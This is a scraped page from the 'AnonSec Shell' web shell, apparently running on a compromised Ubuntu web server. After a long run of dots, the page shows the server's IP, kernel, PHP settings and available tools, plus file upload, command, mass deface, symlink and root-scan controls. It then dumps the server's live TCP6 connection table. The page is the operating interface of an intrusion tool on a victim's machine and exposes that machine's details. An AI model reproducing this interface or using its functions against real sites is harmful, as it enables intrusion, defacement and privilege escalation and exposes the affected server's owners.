. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 157.245.120.232  /  Your IP : 216.73.216.245   [ Reverse IP ]
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux lamp-kamal-greenstackcapital-2019-11 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : www-data ( 33)
PHP Version : 7.3.12-1+ubuntu16.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 2 Domains
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/640/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/640/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0015 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 14686 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 16318 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:0019 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 17428 1 0000000000000000 100 0 0 10 0
   3: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 16734 3 0000000000000000 100 0 0 10 0
   4: 00000000000000000000000000000000:0CEA 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   112        0 22018492 1 0000000000000000 100 0 0 10 0
   5: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 16730 2 0000000000000000 100 0 0 10 0
   6: 0000000000000000FFFF0000E878F59D:0050 0000000000000000FFFF0000B7E744AC:3118 06 00000000:00000000 03:000000B0 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF0000E878F59D:0050 0000000000000000FFFF0000DE1ACAAC:C944 03 00000000:00000000 01:00000038 00000000     0        0 0 0 0000000000000000
   8: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:8551 06 00000000:00000000 03:0000127E 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000036F1074A:E678 01 00000000:00000000 02:000AFF8F 00000000    33        0 60535705 4 0000000000000000 22 4 31 10 -1
  10: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:A9F1 06 00000000:00000000 03:000003DE 00000000     0        0 0 3 0000000000000000
  11: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF0000D90CBDCA:1F59 03 00000000:00000000 01:000000FB 00000003     0        0 0 0 0000000000000000
  12: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:5270 06 00000000:00000000 03:00000416 00000000     0        0 0 3 0000000000000000
  13: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00000FF2074A:E558 06 00000000:00000000 03:00000B2E 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:565A 06 00000000:00000000 03:000003E8 00000000     0        0 0 3 0000000000000000
  15: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000056D949D8:3F7D 01 00000000:00000000 02:000B05F5 00000000    33        0 60535873 2 0000000000000000 22 4 1 28 28
  16: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF0000F5D849D8:ADD1 06 00000000:00000000 03:000006E9 00000000     0        0 0 3 0000000000000000
  17: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF0000F5D849D8:BECF 06 00000000:00000000 03:00000996 00000000     0        0 0 3 0000000000000000
  18: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF0000F5D849D8:1DEA 01 00000000:00000000 02:000AFF8E 00000000    33        0 60535782 2 0000000000000000 22 4 29 10 -1
  19: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF0000F5D849D8:4C21 06 00000000:00000000 03:00000A0A 00000000     0        0 0 3 0000000000000000
  20: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00000B42F942:E070 01 00000000:00000000 02:000B05F5 00000000    33        0 60535946 2 0000000000000000 22 4 21 10 -1
  21: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00004A42F942:DB58 06 00000000:00000000 03:0000141E 00000000     0        0 0 3 0000000000000000
  22: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00000B42F942:A520 06 00000000:00000000 03:00000267 00000000     0        0 0 3 0000000000000000
  23: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:51D7 06 00000000:00000000 03:000004B5 00000000     0        0 0 3 0000000000000000
  24: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:6591 01 00000000:00000000 02:000AF928 00000000    33        0 60535285 3 0000000000000000 22 4 32 31 31
  25: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00000B42F942:FF77 06 00000000:00000000 03:00000DC6 00000000     0        0 0 3 0000000000000000
  26: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:88B1 06 00000000:00000000 03:000003FC 00000000     0        0 0 3 0000000000000000
  27: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:5455 01 00000000:00000000 02:000AF928 00000000    33        0 60535290 3 0000000000000000 22 4 32 31 31
  28: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:8CAB 01 00000000:00000000 02:000AF928 00000000    33        0 60535648 2 0000000000000000 22 4 32 31 31
  29: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00000B42F942:B1AD 06 00000000:00000000 03:00000537 00000000     0        0 0 3 0000000000000000
  30: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00000FF2074A:E13C 01 00000000:00000000 02:000AF928 00000000    33        0 60534972 3 0000000000000000 22 4 0 22 19
  31: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:DA02 06 00000000:00000000 03:00000DE4 00000000     0        0 0 3 0000000000000000
  32: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00000B42F942:C806 06 00000000:00000000 03:00000A38 00000000     0        0 0 3 0000000000000000
  33: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000056D949D8:1415 06 00000000:00000000 03:00001654 00000000     0        0 0 3 0000000000000000
  34: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF0000F5D849D8:795D 01 00000000:00000000 02:000AF928 00000000    33        0 60535668 3 0000000000000000 22 4 35 10 -1
  35: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF0000F5D849D8:CF35 06 00000000:00000000 03:00001579 00000000     0        0 0 3 0000000000000000
  36: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:D50E 06 00000000:00000000 03:00001696 00000000     0        0 0 3 0000000000000000
  37: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00000B42F942:B626 06 00000000:00000000 03:00000ECA 00000000     0        0 0 3 0000000000000000
  38: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF0000D90CBDCA:839F 03 00000000:00000000 01:00000753 00000005     0        0 0 0 0000000000000000
  39: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:9C90 06 00000000:00000000 03:000003F1 00000000     0        0 0 3 0000000000000000
  40: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF000019D849D8:B06D 01 000011DE:00000000 01:00000002 00000000    33        0 60535299 3 0000000000000000 22 4 0 30 31
  41: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00002242F942:F73F 06 00000000:00000000 03:00001257 00000000     0        0 0 3 0000000000000000
  42: 0000000000000000FFFF0000E878F59D:01BB 0000000000000000FFFF00008EDC8AA4:E9CE 01 00000000:00000000 02:000AF928 00000000    33        0 60535654 2 0000000000000000 157 4 21 2 2

Anon7 - 2022
AnonSec Team